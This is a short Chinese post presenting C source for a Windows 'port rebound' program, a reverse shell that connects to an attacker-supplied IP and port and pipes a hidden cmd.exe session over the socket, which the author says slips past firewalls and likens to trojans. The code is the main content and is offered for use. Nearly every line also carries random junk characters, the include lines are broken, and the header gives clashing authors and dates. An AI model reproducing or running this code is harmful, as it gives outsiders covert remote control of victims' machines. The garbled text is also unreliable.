Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 xovsh\s  
(S~kNbIa  
/* ============================== QYg V[\&  
Rebound port in Windows NT |:w)$i& *  
By wind,2006/7 $c{fPFe-  
===============================*/ G^|!'V  
#include B#DnU;=O#+  
#include 5pT8 }?7  
xx@[ecW  
#pragma comment(lib,"wsock32.lib") +70x0z2  
5OCt Q4u  
void OutputShell(); YP Qix  
SOCKET sClient; %Q]3`kxp  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; B[3u,<opFU  
n$r
gJ  
void main(int argc,char **argv) /\{emE\]  
{ uUiS:Tp]  
WSADATA stWsaData; esiU._:u  
int nRet; ODEFs?%'  
SOCKADDR_IN stSaiClient,stSaiServer; zpD?5  
_N {4Rs0  
if(argc != 3) 7YxVtN  
{ $1$0M  
printf("Useage:\n\rRebound DestIP DestPort\n"); BRy3D\}  
return; fK6[ p&  
} 78\j  
mW$Oi++'d  
WSAStartup(MAKEWORD(2,2),&stWsaData); OxPl0-]t  
mlxtey6H3  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,5V6=pr$  
tI@aRF=p]2  
stSaiClient.sin_family = AF_INET; ,CI-IR2  
stSaiClient.sin_port = htons(0); BhYvEbt  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); A%2B3@1'q  
nE +H)%p  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !?>QN'p.b  
{ wz)s  
printf("Bind Socket Failed!\n"); Q}G2f4  
return; h\p!J-V  
} et/:vLl13  
.*f6n|  
stSaiServer.sin_family = AF_INET; suzK)rJ9i  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); -wrVEH8  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); k33\;9@k  
ol41%q*  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3"zPG~fY{  
{ EjFn\|VK  
printf("Connect Error!"); j^5YFUwsQg  
return; ZY8w1:'  
} ,oUzaEX
 
OutputShell(); /@|iI<|  
} h (q,T$7W  
%*szB$[3  
void OutputShell() $#-rOi /  
{ Gh/nNwyu<  
char szBuff[1024]; &TY74w*  
SECURITY_ATTRIBUTES stSecurityAttributes; 5'NNwc\  
OSVERSIONINFO stOsversionInfo; ii_kgqT^  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; IA<>+NS  
STARTUPINFO stStartupInfo; =^GPQ_"  
char *szShell; ]\KVA)\  
PROCESS_INFORMATION stProcessInformation; g5y`XFY  
unsigned long lBytesRead; ;py9,Wno  
"b~C/-W I  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); L{P'mG=4  
c+&Kq.~K  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); *1Bq>h:  
stSecurityAttributes.lpSecurityDescriptor = 0; A"ATtid  
stSecurityAttributes.bInheritHandle = TRUE; kmc_%Wm}  
F \ls]luN  
\wD/TLS}  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \?]U*)B.r  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); nKzm.D gt_  
C 2nmSXV  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); F$DA/{.D  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <#ON  
stStartupInfo.wShowWindow = SW_HIDE; Nd]F 33|X  
stStartupInfo.hStdInput = hReadPipe;  NdRcA  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; WM`3QJb  
x;)I%c  
GetVersionEx(&stOsversionInfo); =TDKU  
W]#w4Fp!  
switch(stOsversionInfo.dwPlatformId) bwzx_F/  
{ dkz% Y]  
case 1: j
hm/<=  
szShell = "command.com"; BW7AjtxQ&  
break; g%l ,a3"  
default: F$)l8}  
szShell = "cmd.exe"; 6w7;  
break; V\Gs&>  
} =4MTb_  
)][U6
e  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :c~SH/qS  
zawu(3?~)5  
send(sClient,szMsg,77,0); R1X'}#mU  
while(1) +Q u.86dH  
{ mFF4qbe  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); >Xk42zvqn  
if(lBytesRead)  I8?  
{ {lWVH  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); gMI%!Y  
send(sClient,szBuff,lBytesRead,0); 0TmEa59P  
} wx*?@f>u^  
else >t3_]n1e  
{ u:f ]|Q
 
lBytesRead=recv(sClient,szBuff,1024,0); g %mCgP  
if(lBytesRead<=0) break; 4HGTgS  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); UsyNn39  
} L]H'$~xx*  
} 6?F88;L  
3<&:av3  
return; 7A\`  
}